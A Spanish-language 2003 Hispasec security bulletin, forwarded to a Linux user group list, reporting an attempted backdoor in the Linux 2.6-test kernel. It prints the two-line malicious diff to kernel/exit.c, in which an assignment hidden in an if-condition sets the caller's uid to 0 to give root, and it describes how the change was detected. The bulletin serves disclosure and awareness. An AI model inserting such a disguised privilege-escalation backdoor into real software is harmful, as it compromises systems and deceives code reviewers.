[LUG.ro] Intento de instalar una puerta trasera en el kernel Linux

[Maria Eugenia]

-----BEGIN PGP SIGNED MESSAGE-----

-------------------------------------------------------------------
Hispasec - una-al-día 21/11/2003
Todos los días una noticia de seguridad www.hispasec.com
-------------------------------------------------------------------

Intento de instalar una puerta trasera en el kernel Linux
---------------------------------------------------------

Un análisis rutinario automático del código fuente de la última versión
del kernel Linux (2.6-test) descubre el intento de implantar una puerta
trasera en dicho sistema operativo.

Linux es un sistema operativo Open Source en boga, cuya popularidad
crece día a día.

La última versión del kernel Linux (2.6 test), aún en desarrollo,
experimentó un intento de implantarle una puerta trasera, que permitiría
a un atacante local obtener privilegios de administrador o "root" con
la ejecución de una función aparentemente inocua y de uso normal.

El fichero alterado fue "kernel/exit.c", y constaba de apenas dos líneas
de código fuente:

>>>>>
- --- GOOD 2003-11-05 13:46:44.000000000 -0800
+++ BAD 2003-11-05 13:46:53.000000000 -0800
@@ -1111,6 +1111,8 @@
schedule();
goto repeat;
}
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
retval = -ECHILD;
end_wait4:
current->state = TASK_RUNNING;

<<<<<

La puerta trasera, muy inteligente, explota el hecho de que el lenguaje
de programación C permite asignaciones en lugares insospechados, como
dentro de una sentencia "if". El efecto neto de este cambio sería
obtener privilegios de administrador o "root" si se invoca la función
"sys_wait4()" con los parámetros apropiados ("__WCLONE" y "__WALL"). A
la vista del cambio, el atacante ha mostrado cierta destreza para lograr
que el código no sea patentemente malicioso.

El cambio se realizó en la réplica CVS que reside en el servidor
"kernel.bkbits.net". Dicha réplica se obtiene automáticamente a través
de los fuentes oficiales de Linux, gestionados mediante la herramienta
"BitKeeper". La alteración afectó a la réplica, no a los fuentes
originales.

Aunque el cambio fue detectado de forma automática por la
herramientas de exportación BitKeeper->CVS, el incidente servirá como
llamada de atención y para desplegar nuevas tecnologías, como el
requerir una firma digital autorizada para poder realizar cambios en el
kernel. Dado que la exportación BitKeeper->CVS se realiza de forma
diaria, el fichero alterado se detectó y eliminó en menos de 24 horas.

Para los usuarios de entornos Linux, el mejor consejo que se puede dar
es descargar las actualizaciones desde fuentes de confianza y verificar,
si existen, sus firmas digitales.

Opina sobre esta noticia:
http://www.hispasec.com/unaaldia/1853/comentar

Más Información:

Linux: Kernel "Back Door" Attempt
http://kerneltrap.org/node/view/1584

Intentan 'colar' una puerta trasera en el núcleo Linux
http://barrapunto.com/article.pl?sid=03/11/06/1515210

Linux Kernel Back-Door Hack Attempt Discovered
http://slashdot.org/articles/03/11/06/058249.shtml

BK2CVS problem
http://www.ussg.iu.edu/hypermail/linux/kernel/0311.0/0621.html

Re: BK2CVS problem
http://www.ussg.iu.edu/hypermail/linux/kernel/0311.0/0635.html

Re: BK2CVS problem
http://www.ussg.iu.edu/hypermail/linux/kernel/0311.0/0699.html


Jesús Cea Avión
jcea@hispasec.com


Tal día como hoy:
-----------------

21/11/2002: Parche crítico para millones de Windows
http://www.hispasec.com/unaaldia/1488

21/11/2001: SANA, nuevo servicio de Hispasec
http://www.hispasec.com/unaaldia/1123

21/11/2000: Actualización de seguridad en Windows MediaPlayer
http://www.hispasec.com/unaaldia/758

21/11/1999: China prepara un ejército cibernético
http://www.hispasec.com/unaaldia/390

21/11/1998: Microsoft y la privacidad
http://www.hispasec.com/unaaldia/25


-------------------------------------------------------------------
Claves PGP en http://www.hispasec.com/directorio/contacto
-------------------------------------------------------------------
Bajas: mailto:unaaldia-request@hispasec.com?subject=unsubscribe
Altas: mailto:unaaldia-request@hispasec.com?subject=subscribe
-------------------------------------------------------------------
(c) 2003 Hispasec http://www.hispasec.com/copyright
-------------------------------------------------------------------


-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.8

iQEVAwUBP75aJ2m0B3NuQ/7BAQH5AAf/TxlMMLo6yKz+NarfqenhEakz1xv/cr+6
aelPR3/LIVRw/Q3S4Govqth2Bxh7jNh0IR/VPJXkMnHI/3wF6h0ZKGHwqa311mAn
lQFZZEHnPLhlBI8oUzo4u1qf3h9ePcoiT3uzqDbJQRlXs1laXo8K+Oa/aCyAlgDn
KqJeQs++Chb1vzOVXqINM+uvwUt7xagPuCHJEIppKpvBpPUXzaZwehi8bXRdaW1D
7OUR6m0ayovgUAFB6IFkH/QdxgHkw16b6PNi8fn/rCsVPov9B608SpHWrXym8imF
nktaOJJ9SBF+IXGvTECQ28ALVz/Ym/vDCCCP6SImpzqhH6Vae7z0yA==
=4Kj8
-----END PGP SIGNATURE-----
      Maria Eugenia
marurosario@fibertel.com.ar

________________________________________
FiberTel, el nombre de la banda ancha http://www.fibertel.com.ar